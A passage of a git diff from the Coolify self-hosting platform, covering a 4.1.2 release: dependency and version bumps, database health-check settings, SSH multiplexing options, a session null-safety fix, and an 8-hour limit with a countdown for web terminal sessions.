{$safe} >/dev/null", "docker network connect {$safe} coolify-proxy >/dev/null 2>&1 || true", @@ -144,6 +146,7 @@ function ensureProxyNetworksExist(Server $server) if ($server->isSwarm()) { $commands = $networks->map(function ($network) { $safe = escapeshellarg($network); + return [ "echo 'Ensuring network {$safe} exists...'", "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable {$safe}", @@ -152,6 +155,7 @@ function ensureProxyNetworksExist(Server $server) } else { $commands = $networks->map(function ($network) { $safe = escapeshellarg($network); + return [ "echo 'Ensuring network {$safe} exists...'", "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable {$safe}", diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 4bb989de4..08af8ee42 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -353,14 +353,30 @@ function showBoarding(): bool function refreshSession(?Team $team = null): void { if (! $team) { - if (Auth::user()->currentTeam()) { - $team = Team::find(Auth::user()->currentTeam()->id); - } else { - $team = User::find(Auth::id())->teams->first(); + $currentTeam = Auth::user()->currentTeam(); + if ($currentTeam) { + // currentTeam() can resolve a stale (just-deleted) team from the + // session/cache, so Team::find() may still return null here. + $team = Team::find($currentTeam->id); + } + if (! $team) { + // Fall back to any team the user still belongs to. + $team = User::query()->find(Auth::id())?->teams()->first(); } } + // Clear old cache key format for backwards compatibility Cache::forget('team:'.Auth::id()); + + if (! $team) { + // The user has no team left (e.g. just deleted their current team and + // belongs to no other): clear the stale session reference instead of + // dereferencing null. + session()->forget('currentTeam'); + + return; + } + // Use new cache key format that includes team ID Cache::forget('user:'.Auth::id().':team:'.$team->id); Cache::remember('user:'.Auth::id().':team:'.$team->id, 3600, function () use ($team) { diff --git a/composer.lock b/composer.lock index 24eb0bf73..7d958a9cc 100644 --- a/composer.lock +++ b/composer.lock @@ -9667,16 +9667,16 @@ }, { "name": "symfony/polyfill-intl-idn", - "version": "v1.37.0", + "version": "v1.38.1", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-intl-idn.git", - "reference": "9614ac4d8061dc257ecc64cba1b140873dce8ad3" + "reference": "dc21118016c039a66235cf93d96b435ffb282412" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/9614ac4d8061dc257ecc64cba1b140873dce8ad3", - "reference": "9614ac4d8061dc257ecc64cba1b140873dce8ad3", + "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/dc21118016c039a66235cf93d96b435ffb282412", + "reference": "dc21118016c039a66235cf93d96b435ffb282412", "shasum": "" }, "require": { @@ -9730,7 +9730,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.37.0" + "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.38.1" }, "funding": [ { @@ -9750,20 +9750,20 @@ "type": "tidelift" } ], - "time": "2024-09-10T14:38:51+00:00" + "time": "2026-05-25T15:22:23+00:00" }, { "name": "symfony/polyfill-intl-normalizer", - "version": "v1.37.0", + "version": "v1.38.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-intl-normalizer.git", - "reference": "3833d7255cc303546435cb650316bff708a1c75c" + "reference": "2d446c214bdbe5b71bde5011b060a05fece3ae6b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/3833d7255cc303546435cb650316bff708a1c75c", - "reference": "3833d7255cc303546435cb650316bff708a1c75c", + "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/2d446c214bdbe5b71bde5011b060a05fece3ae6b", + "reference": "2d446c214bdbe5b71bde5011b060a05fece3ae6b", "shasum": "" }, "require": { @@ -9815,7 +9815,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.37.0" + "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.38.0" }, "funding": [ { @@ -9835,20 +9835,20 @@ "type": "tidelift" } ], - "time": "2024-09-09T11:45:10+00:00" + "time": "2026-05-25T13:48:31+00:00" }, { "name": "symfony/polyfill-mbstring", - "version": "v1.37.0", + "version": "v1.38.1", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-mbstring.git", - "reference": "6a21eb99c6973357967f6ce3708cd55a6bec6315" + "reference": "14c5439eec4ccff081ac14eca2dc57feb2a66d92" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/6a21eb99c6973357967f6ce3708cd55a6bec6315", - "reference": "6a21eb99c6973357967f6ce3708cd55a6bec6315", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/14c5439eec4ccff081ac14eca2dc57feb2a66d92", + "reference": "14c5439eec4ccff081ac14eca2dc57feb2a66d92", "shasum": "" }, "require": { @@ -9900,7 +9900,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.37.0" + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.38.1" }, "funding": [ { @@ -9920,7 +9920,7 @@ "type": "tidelift" } ], - "time": "2026-04-10T17:25:58+00:00" + "time": "2026-05-26T12:51:13+00:00" }, { "name": "symfony/polyfill-php80", @@ -18072,5 +18072,5 @@ "php": "^8.4" }, "platform-dev": {}, - "plugin-api-version": "2.6.0" + "plugin-api-version": "2.9.0" } diff --git a/config/constants.php b/config/constants.php index e5dcee3fe..a01669673 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,9 +2,9 @@ return [ 'coolify' => [ - 'version' => '4.1.1', + 'version' => '4.1.2', 'helper_version' => '1.0.14', - 'realtime_version' => '1.0.15', + 'realtime_version' => '1.0.16', 'railpack_version' => '0.23.0', 'self_hosted' => env('SELF_HOSTED', true), 'autoupdate' => env('AUTOUPDATE'), @@ -35,6 +35,7 @@ 'protocol' => env('TERMINAL_PROTOCOL'), 'host' => env('TERMINAL_HOST'), 'port' => env('TERMINAL_PORT'), + 'command_timeout' => 0, ], 'pusher' => [ @@ -67,6 +68,13 @@ 'ssh' => [ 'mux_enabled' => env('MUX_ENABLED', env('SSH_MUX_ENABLED', true)), 'mux_persist_time' => env('SSH_MUX_PERSIST_TIME', 3600), + 'mux_health_check_enabled' => env('SSH_MUX_HEALTH_CHECK_ENABLED', true), + 'mux_health_check_timeout' => env('SSH_MUX_HEALTH_CHECK_TIMEOUT', 5), + 'mux_max_age' => env('SSH_MUX_MAX_AGE', 1800), // 30 minutes + 'mux_lock_ttl' => env('SSH_MUX_LOCK_TTL', 30), // lock auto-release, seconds + 'mux_lock_timeout' => env('SSH_MUX_LOCK_TIMEOUT', 10), // max wait for lock, seconds + 'mux_orphan_min_age' => env('SSH_MUX_ORPHAN_MIN_AGE', 600), // min process age before reaping orphans, seconds + 'mux_orphan_reap_enabled' => env('SSH_MUX_ORPHAN_REAP_ENABLED', false), // false = dry-run, only log orphans 'connection_timeout' => 10, 'server_interval' => 20, 'command_timeout' => 3600, diff --git a/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php b/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php index d8bb9b625..a90723633 100644 --- a/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php +++ b/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php @@ -7,6 +7,10 @@ { public function up(): void { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + // Fillfactor < 100 leaves free space per page so Postgres can do HOT // (Heap-Only Tuple) in-place updates instead of allocating a new tuple // elsewhere. Coolify's hot-update tables churn rows on every Sentinel @@ -40,6 +44,10 @@ public function up(): void public function down(): void { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + DB::statement('ALTER TABLE applications RESET (fillfactor, autovacuum_vacuum_scale_factor)'); DB::statement('ALTER TABLE servers RESET (fillfactor, autovacuum_vacuum_scale_factor)'); DB::statement('ALTER TABLE services RESET (fillfactor)'); diff --git a/database/migrations/2026_05_31_000000_add_health_check_to_standalone_databases.php b/database/migrations/2026_05_31_000000_add_health_check_to_standalone_databases.php new file mode 100644 index 000000000..63d7c3497 --- /dev/null +++ b/database/migrations/2026_05_31_000000_add_health_check_to_standalone_databases.php @@ -0,0 +1,47 @@ +tables as $table) { + Schema::table($table, function (Blueprint $table) { + $table->boolean('health_check_enabled')->default(true); + $table->integer('health_check_interval')->default(15); + $table->integer('health_check_timeout')->default(5); + $table->integer('health_check_retries')->default(5); + $table->integer('health_check_start_period')->default(5); + }); + } + } + + public function down(): void + { + foreach ($this->tables as $table) { + Schema::table($table, function (Blueprint $table) { + $table->dropColumn([ + 'health_check_enabled', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', + ]); + }); + } + } +}; diff --git a/database/seeders/ApplicationSeeder.php b/database/seeders/ApplicationSeeder.php index 212bcce79..2a0273e0f 100644 --- a/database/seeders/ApplicationSeeder.php +++ b/database/seeders/ApplicationSeeder.php @@ -47,22 +47,6 @@ public function run(): void 'source_id' => 1, 'source_type' => GithubApp::class, ]); - Application::create([ - 'uuid' => 'railpack-nodejs', - 'name' => 'Railpack NodeJS Fastify Example', - 'fqdn' => 'http://railpack-nodejs.127.0.0.1.sslip.io', - 'repository_project_id' => 603035348, - 'git_repository' => 'coollabsio/coolify-examples', - 'git_branch' => 'v4.x', - 'base_directory' => '/nodejs', - 'build_pack' => 'railpack', - 'ports_exposes' => '3000', - 'environment_id' => 1, - 'destination_id' => 0, - 'destination_type' => StandaloneDocker::class, - 'source_id' => 1, - 'source_type' => GithubApp::class, - ]); Application::create([ 'uuid' => 'dockerfile', 'name' => 'Dockerfile Example', @@ -161,21 +145,5 @@ public function run(): void 'source_id' => 1, 'source_type' => GitlabApp::class, ]); - Application::create([ - 'uuid' => 'railpack-static', - 'name' => 'Railpack Static Example', - 'fqdn' => 'http://railpack-static.127.0.0.1.sslip.io', - 'repository_project_id' => 603035348, - 'git_repository' => 'coollabsio/coolify-examples', - 'git_branch' => 'v4.x', - 'base_directory' => '/static', - 'build_pack' => 'railpack', - 'ports_exposes' => '80', - 'environment_id' => 1, - 'destination_id' => 0, - 'destination_type' => StandaloneDocker::class, - 'source_id' => 1, - 'source_type' => GithubApp::class, - ]); } } diff --git a/database/seeders/ApplicationSettingsSeeder.php b/database/seeders/ApplicationSettingsSeeder.php index e8be0ba70..87236df8a 100644 --- a/database/seeders/ApplicationSettingsSeeder.php +++ b/database/seeders/ApplicationSettingsSeeder.php @@ -22,12 +22,5 @@ public function run(): void $gitlabPublic->settings->is_static = true; $gitlabPublic->settings->save(); } - - $railpackStatic = Application::where('uuid', 'railpack-static')->first(); - if ($railpackStatic) { - $railpackStatic->load(['settings']); - $railpackStatic->settings->is_static = true; - $railpackStatic->settings->save(); - } } } diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index 50edc140f..9c93678af 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -129,7 +129,7 @@ services: networks: - coolify minio: - image: ghcr.io/coollabsio/maxio:latest + image: coollabsio/maxio:latest pull_policy: always container_name: coolify-minio ports: diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 3a9bfd501..8907a30b9 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -60,7 +60,7 @@ services: retries: 10 timeout: 2s soketi: - image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.15' + image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.16' ports: - "${SOKETI_PORT:-6001}:6001" - "6002:6002" diff --git a/docker-compose.windows.yml b/docker-compose.windows.yml index cc72d487b..da045fe03 100644 --- a/docker-compose.windows.yml +++ b/docker-compose.windows.yml @@ -96,7 +96,7 @@ services: retries: 10 timeout: 2s soketi: - image: 'ghcr.io/coollabsio/coolify-realtime:1.0.15' + image: 'ghcr.io/coollabsio/coolify-realtime:1.0.16' pull_policy: always container_name: coolify-realtime restart: always diff --git a/docker/coolify-realtime/package-lock.json b/docker/coolify-realtime/package-lock.json index 5c6fa94aa..cdb29bffa 100644 --- a/docker/coolify-realtime/package-lock.json +++ b/docker/coolify-realtime/package-lock.json @@ -10,7 +10,7 @@ "cookie": "1.1.1", "dotenv": "17.3.1", "node-pty": "1.1.0", - "ws": "8.19.0" + "ws": "8.20.1" } }, "node_modules/@xterm/addon-fit": { @@ -70,9 +70,9 @@ } }, "node_modules/ws": { - "version": "8.19.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz", - "integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==", + "version": "8.20.1", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.1.tgz", + "integrity": "sha512-It4dO0K5v//JtTXuPkfEOaI3uUN87iYPnqo/ZzqCoG3g8uhA66QUMs/SrM0YK7/NAu+r4LMh/9dq2A7k+rHs+w==", "license": "MIT", "engines": { "node": ">=10.0.0" diff --git a/docker/coolify-realtime/package.json b/docker/coolify-realtime/package.json index 25bf786a8..9128c0c3f 100644 --- a/docker/coolify-realtime/package.json +++ b/docker/coolify-realtime/package.json @@ -7,6 +7,6 @@ "cookie": "1.1.1", "dotenv": "17.3.1", "node-pty": "1.1.0", - "ws": "8.19.0" + "ws": "8.20.1" } } diff --git a/docker/coolify-realtime/terminal-server.js b/docker/coolify-realtime/terminal-server.js index 42ca7c81d..519792716 100755 --- a/docker/coolify-realtime/terminal-server.js +++ b/docker/coolify-realtime/terminal-server.js @@ -8,6 +8,7 @@ import { extractSshArgs, extractTargetHost, extractTimeout, + getTerminalSessionTimeout, isAuthorizedTargetHost, } from './terminal-utils.js'; @@ -63,9 +64,11 @@ function createHttpError(response) { } const userSessions = new Map(); -const terminalDebugEnabled = ['1', 'true', 'yes'].includes( - String(process.env.TERMINAL_DEBUG || '').toLowerCase() -); +const envName = String(process.env.APP_ENV || process.env.NODE_ENV || '').toLowerCase(); +const debugOverride = String(process.env.TERMINAL_DEBUG || '').toLowerCase(); +const terminalDebugEnabled = + ['local', 'development'].includes(envName) + || ['1', 'true', 'yes', 'on'].includes(debugOverride); function logTerminal(level, message, context = {}) { if (!terminalDebugEnabled) { @@ -154,7 +157,6 @@ const verifyClient = async (info, callback) => { const wss = new WebSocketServer({ server, path: '/terminal/ws', verifyClient: verifyClient }); const HEARTBEAT_INTERVAL_MS = 30000; -const IDLE_TIMEOUT_MS = 30 * 60 * 1000; wss.on('connection', async (ws, req) => { ws.isAlive = true; @@ -168,9 +170,9 @@ wss.on('connection', async (ws, req) => { ptyProcess: null, isActive: false, authorizedIPs: [], - lastActivityAt: Date.now(), authReady: false, pendingMessages: [], + terminalSessionTimer: null, }; const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(req); const connectionContext = { @@ -260,29 +262,6 @@ const heartbeat = setInterval(() => { } catch (_) { // ignore — close handler will follow } - - const session = ws.userId ? userSessions.get(ws.userId) : null; - if (session?.isActive && session.lastActivityAt && (Date.now() - session.lastActivityAt > IDLE_TIMEOUT_MS)) { - const idleMs = Date.now() - session.lastActivityAt; - logTerminal('warn', 'Closing terminal session due to idle timeout.', { - userId: ws.userId, - idleMs, - idleTimeoutMs: IDLE_TIMEOUT_MS, - }); - try { - ws.send('idle-timeout'); - } catch (_) { - // ignore — close still attempted below - } - killPtyProcess(ws.userId); - setTimeout(() => { - try { - ws.close(1000, 'Idle timeout'); - } catch (_) { - // ignore — already closed - } - }, 100); - } }); }, HEARTBEAT_INTERVAL_MS); @@ -290,11 +269,9 @@ wss.on('close', () => clearInterval(heartbeat)); const messageHandlers = { message: (session, data) => { - session.lastActivityAt = Date.now(); session.ptyProcess.write(data); }, resize: (session, { cols, rows }) => { - session.lastActivityAt = Date.now(); cols = cols > 0 ? cols : 80; rows = rows > 0 ? rows : 30; session.ptyProcess.resize(cols, rows) @@ -365,8 +342,14 @@ async function handleCommand(ws, command, userId) { } } + if (userSession.terminalSessionTimer) { + clearTimeout(userSession.terminalSessionTimer); + userSession.terminalSessionTimer = null; + } + const commandString = command[0].split('\n').join(' '); - const timeout = extractTimeout(commandString); + const commandTimeout = extractTimeout(commandString); + const terminalSessionTimeout = getTerminalSessionTimeout(); const sshArgs = extractSshArgs(commandString); const hereDocContent = extractHereDocContent(commandString); @@ -375,7 +358,8 @@ async function handleCommand(ws, command, userId) { logTerminal('log', 'Parsed terminal command metadata.', { userId, targetHost, - timeout, + commandTimeout, + terminalSessionTimeout, sshArgs, authorizedIPs: userSession?.authorizedIPs ?? [], }); @@ -414,13 +398,13 @@ async function handleCommand(ws, command, userId) { logTerminal('log', 'Spawning PTY process for terminal session.', { userId, targetHost, - timeout, + commandTimeout, + terminalSessionTimeout, }); const ptyProcess = pty.spawn('ssh', sshArgs.concat([hereDocContent]), options); userSession.ptyProcess = ptyProcess; userSession.isActive = true; - userSession.lastActivityAt = Date.now(); ws.send('pty-ready'); @@ -437,13 +421,16 @@ async function handleCommand(ws, command, userId) { }); ws.send('pty-exited'); userSession.isActive = false; + + if (userSession.terminalSessionTimer) { + clearTimeout(userSession.terminalSessionTimer); + userSession.terminalSessionTimer = null; + } }); - if (timeout) { - setTimeout(async () => { - await killPtyProcess(userId); - }, timeout * 1000); - } + userSession.terminalSessionTimer = setTimeout(async () => { + await killPtyProcess(userId); + }, terminalSessionTimeout * 1000); } async function handleError(err, userId) { @@ -485,6 +472,11 @@ async function killPtyProcess(userId) { setTimeout(() => { if (!session.isActive || !session.ptyProcess) { + if (session.terminalSessionTimer) { + clearTimeout(session.terminalSessionTimer); + session.terminalSessionTimer = null; + } + logTerminal('log', 'PTY process terminated successfully.', { userId, killAttempts, diff --git a/docker/coolify-realtime/terminal-utils.js b/docker/coolify-realtime/terminal-utils.js index 7456b282c..8769d62d9 100644 --- a/docker/coolify-realtime/terminal-utils.js +++ b/docker/coolify-realtime/terminal-utils.js @@ -1,3 +1,9 @@ +export const MAX_TERMINAL_SESSION_TIMEOUT_SECONDS = 8 * 60 * 60; + +export function getTerminalSessionTimeout() { + return MAX_TERMINAL_SESSION_TIMEOUT_SECONDS; +} + export function extractTimeout(commandString) { const timeoutMatch = commandString.match(/timeout (\d+)/); return timeoutMatch ? parseInt(timeoutMatch[1], 10) : null; diff --git a/docker/coolify-realtime/terminal-utils.test.js b/docker/coolify-realtime/terminal-utils.test.js index 3da444155..bf863099b 100644 --- a/docker/coolify-realtime/terminal-utils.test.js +++ b/docker/coolify-realtime/terminal-utils.test.js @@ -1,8 +1,10 @@ import test from 'node:test'; import assert from 'node:assert/strict'; import { + MAX_TERMINAL_SESSION_TIMEOUT_SECONDS, extractSshArgs, extractTargetHost, + getTerminalSessionTimeout, isAuthorizedTargetHost, normalizeHostForAuthorization, } from './terminal-utils.js'; @@ -45,3 +47,10 @@ test('normalizeHostForAuthorization unwraps bracketed IPv6 hosts', () => { test('isAuthorizedTargetHost rejects hosts that are not in the allowlist', () => { assert.equal(isAuthorizedTargetHost("'10.0.0.9'", ['10.0.0.5']), false); }); + + +test('getTerminalSessionTimeout always enforces the maximum terminal session lifetime', () => { + assert.equal(getTerminalSessionTimeout(null), MAX_TERMINAL_SESSION_TIMEOUT_SECONDS); + assert.equal(getTerminalSessionTimeout(60), MAX_TERMINAL_SESSION_TIMEOUT_SECONDS); + assert.equal(getTerminalSessionTimeout(MAX_TERMINAL_SESSION_TIMEOUT_SECONDS + 60), MAX_TERMINAL_SESSION_TIMEOUT_SECONDS); +}); diff --git a/openapi.json b/openapi.json index e83538f2b..f3bda9ab8 100644 --- a/openapi.json +++ b/openapi.json @@ -4605,6 +4605,35 @@ "mysql_conf": { "type": "string", "description": "MySQL conf" + }, + "health_check_enabled": { + "type": "boolean", + "description": "Enable the database healthcheck probe.", + "default": true + }, + "health_check_interval": { + "type": "integer", + "description": "Healthcheck interval in seconds.", + "minimum": 1, + "default": 15 + }, + "health_check_timeout": { + "type": "integer", + "description": "Healthcheck timeout in seconds.", + "minimum": 1, + "default": 5 + }, + "health_check_retries": { + "type": "integer", + "description": "Healthcheck retries count.", + "minimum": 1, + "default": 5 + }, + "health_check_start_period": { + "type": "integer", + "description": "Healthcheck start period in seconds.", + "minimum": 0, + "default": 5 } }, "type": "object" diff --git a/openapi.yaml b/openapi.yaml index 523d453ff..fae8d7110 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2950,6 +2950,30 @@ paths: mysql_conf: type: string description: 'MySQL conf' + health_check_enabled: + type: boolean + description: 'Enable the database healthcheck probe.' + default: true + health_check_interval: + type: integer + description: 'Healthcheck interval in seconds.' + minimum: 1 + default: 15 + health_check_timeout: + type: integer + description: 'Healthcheck timeout in seconds.' + minimum: 1 + default: 5 + health_check_retries: + type: integer + description: 'Healthcheck retries count.' + minimum: 1 + default: 5 + health_check_start_period: + type: integer + description: 'Healthcheck start period in seconds.' + minimum: 0 + default: 5 type: object responses: '200': diff --git a/other/nightly/docker-compose.prod.yml b/other/nightly/docker-compose.prod.yml index 3a9bfd501..8907a30b9 100644 --- a/other/nightly/docker-compose.prod.yml +++ b/other/nightly/docker-compose.prod.yml @@ -60,7 +60,7 @@ services: retries: 10 timeout: 2s soketi: - image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.15' + image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.16' ports: - "${SOKETI_PORT:-6001}:6001" - "6002:6002" diff --git a/other/nightly/docker-compose.windows.yml b/other/nightly/docker-compose.windows.yml index cc72d487b..da045fe03 100644 --- a/other/nightly/docker-compose.windows.yml +++ b/other/nightly/docker-compose.windows.yml @@ -96,7 +96,7 @@ services: retries: 10 timeout: 2s soketi: - image: 'ghcr.io/coollabsio/coolify-realtime:1.0.15' + image: 'ghcr.io/coollabsio/coolify-realtime:1.0.16' pull_policy: always container_name: coolify-realtime restart: always diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 78b027918..9c9a405aa 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.1.1" + "version": "4.1.2" }, "nightly": { "version": "4.2.0" @@ -10,7 +10,7 @@ "version": "1.0.14" }, "realtime": { - "version": "1.0.15" + "version": "1.0.16" }, "sentinel": { "version": "0.0.21" diff --git a/package-lock.json b/package-lock.json index ae5b214e5..9d495c412 100644 --- a/package-lock.json +++ b/package-lock.json @@ -15,7 +15,7 @@ "devDependencies": { "@tailwindcss/postcss": "4.1.18", "laravel-vite-plugin": "2.0.1", - "postcss": "8.5.6", + "postcss": "8.5.15", "tailwind-scrollbar": "4.0.2", "tailwindcss": "4.1.18", "vite": "7.3.2" @@ -1720,9 +1720,9 @@ } }, "node_modules/nanoid": { - "version": "3.3.11", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", - "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "version": "3.3.12", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz", + "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==", "dev": true, "funding": [ { @@ -1803,9 +1803,9 @@ } }, "node_modules/postcss": { - "version": "8.5.6", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", - "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", + "version": "8.5.15", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.15.tgz", + "integrity": "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A==", "dev": true, "funding": [ { @@ -1823,7 +1823,7 @@ ], "license": "MIT", "dependencies": { - "nanoid": "^3.3.11", + "nanoid": "^3.3.12", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" }, diff --git a/package.json b/package.json index eb199e5ea..c3fb1bc5f 100644 --- a/package.json +++ b/package.json @@ -9,7 +9,7 @@ "devDependencies": { "@tailwindcss/postcss": "4.1.18", "laravel-vite-plugin": "2.0.1", - "postcss": "8.5.6", + "postcss": "8.5.15", "tailwind-scrollbar": "4.0.2", "tailwindcss": "4.1.18", "vite": "7.3.2" diff --git a/public/svgs/healthchecks.webp b/public/svgs/healthchecks.webp new file mode 100644 index 000000000..003f05f3f Binary files /dev/null and b/public/svgs/healthchecks.webp differ diff --git a/resources/css/app.css b/resources/css/app.css index 936e0c713..de92bf0c9 100644 --- a/resources/css/app.css +++ b/resources/css/app.css @@ -53,6 +53,13 @@ @theme { If we ever want to remove these styles, we need to add an explicit border color utility to any element that depends on these defaults. */ + +@layer components { + .terminal-mobile-key { + @apply min-h-10 rounded-md border border-white/10 bg-white/10 px-2 py-2 text-sm font-semibold text-white shadow-inner active:bg-white/25; + } +} + @layer base { *, diff --git a/resources/js/app.js b/resources/js/app.js index 4dcae5f8e..96085bd96 100644 --- a/resources/js/app.js +++ b/resources/js/app.js @@ -1,5 +1,13 @@ import { initializeTerminalComponent } from './terminal.js'; +// Livewire 3.5.19+ re-applies `x-cloak` to morphed elements during wire:navigate +// (via replaceHtmlAttributes). With `[x-cloak]{display:none}` on the app wrapper, +// this blanks the whole page on every navigation until Alpine re-processes it. +// Strip leftover x-cloak after each navigation; the initial-load FOUC guard stays. +document.addEventListener('livewire:navigated', () => { + document.querySelectorAll('[x-cloak]').forEach((el) => el.removeAttribute('x-cloak')); +}); + ['livewire:navigated', 'alpine:init'].forEach((event) => { document.addEventListener(event, () => { // tree-shaking diff --git a/resources/js/terminal-session-timer.js b/resources/js/terminal-session-timer.js new file mode 100644 index 000000000..60c7f7311 --- /dev/null +++ b/resources/js/terminal-session-timer.js @@ -0,0 +1,22 @@ +export const MAX_TERMINAL_SESSION_SECONDS = 8 * 60 * 60; +export const TERMINAL_SESSION_WARNING_SECONDS = 30 * 60; +export const TERMINAL_SESSION_DANGER_SECONDS = 5 * 60; + +export function formatTerminalSessionRemainingTime(seconds) { + const remainingSeconds = Math.max(0, Math.ceil(seconds)); + + if (remainingSeconds === 0) { + return 'expired'; + } + + const totalMinutes = Math.floor(remainingSeconds / 60); + const hours = Math.floor(totalMinutes / 60); + const minutes = totalMinutes % 60; + const secondsPart = remainingSeconds % 60; + + if (hours === 0) { + return `${minutes}m ${String(secondsPart).padStart(2, '0')}s`; + } + + return `${hours}h ${String(minutes).padStart(2, '0')}m ${String(secondsPart).padStart(2, '0')}s`; +} diff --git a/resources/js/terminal.js b/resources/js/terminal.js index 7a7fc8536..9dc571e26 100644 --- a/resources/js/terminal.js +++ b/resources/js/terminal.js @@ -1,5 +1,11 @@ import { Terminal } from '@xterm/xterm'; import '@xterm/xterm/css/xterm.css'; +import { + MAX_TERMINAL_SESSION_SECONDS, + TERMINAL_SESSION_DANGER_SECONDS, + TERMINAL_SESSION_WARNING_SECONDS, + formatTerminalSessionRemainingTime, +} from './terminal-session-timer.js'; import { FitAddon } from '@xterm/addon-fit'; const terminalDebugEnabled = import.meta.env.DEV; @@ -44,7 +50,7 @@ export function initializeTerminalComponent() { pendingCommand: null, // Last successfully sent SSH command — replayed after a transient reconnect // so the PTY respawns automatically. Cleared on intentional terminations - // (pty-exited, idle-timeout, unprocessable). + // (pty-exited, unprocessable). lastSentCommand: null, // Resize handling resizeObserver: null, @@ -52,6 +58,10 @@ export function initializeTerminalComponent() { // Visibility handling - prevent disconnects when tab loses focus isDocumentVisible: true, wasConnectedBeforeHidden: false, + mobileToolbarCollapsed: false, + terminalSessionStartedAt: null, + terminalSessionRemainingSeconds: null, + terminalSessionCountdownInterval: null, init() { this.setupTerminal(); @@ -135,6 +145,7 @@ export function initializeTerminalComponent() { this.clearAllTimers(); this.connectionState = 'disconnected'; this.pendingCommand = null; + this.resetTerminalSessionCountdown(); if (this.socket) { this.socket.close(1000, 'Client cleanup'); } @@ -157,11 +168,68 @@ export function initializeTerminalComponent() { } [this.reconnectInterval, this.connectionTimeoutId, this.pingTimeoutId, this.resizeTimeout] .forEach(timer => timer && clearTimeout(timer)); + if (this.terminalSessionCountdownInterval) { + clearInterval(this.terminalSessionCountdownInterval); + } this.keepAliveInterval = null; this.reconnectInterval = null; this.connectionTimeoutId = null; this.pingTimeoutId = null; this.resizeTimeout = null; + this.terminalSessionCountdownInterval = null; + }, + + resetTerminalSessionCountdown() { + if (this.terminalSessionCountdownInterval) { + clearInterval(this.terminalSessionCountdownInterval); + } + + this.terminalSessionStartedAt = null; + this.terminalSessionRemainingSeconds = null; + this.terminalSessionCountdownInterval = null; + }, + + startTerminalSessionCountdown() { + this.resetTerminalSessionCountdown(); + this.terminalSessionStartedAt = Date.now(); + this.updateTerminalSessionCountdown(); + this.terminalSessionCountdownInterval = setInterval(() => { + this.updateTerminalSessionCountdown(); + }, 1000); + }, + + updateTerminalSessionCountdown() { + if (!this.terminalSessionStartedAt) { + this.terminalSessionRemainingSeconds = null; + return; + } + + const elapsedSeconds = (Date.now() - this.terminalSessionStartedAt) / 1000; + this.terminalSessionRemainingSeconds = Math.max(0, MAX_TERMINAL_SESSION_SECONDS - elapsedSeconds); + }, + + terminalSessionRemainingLabel() { + if (this.terminalSessionRemainingSeconds === null) { + return ''; + } + + return `Session expires in 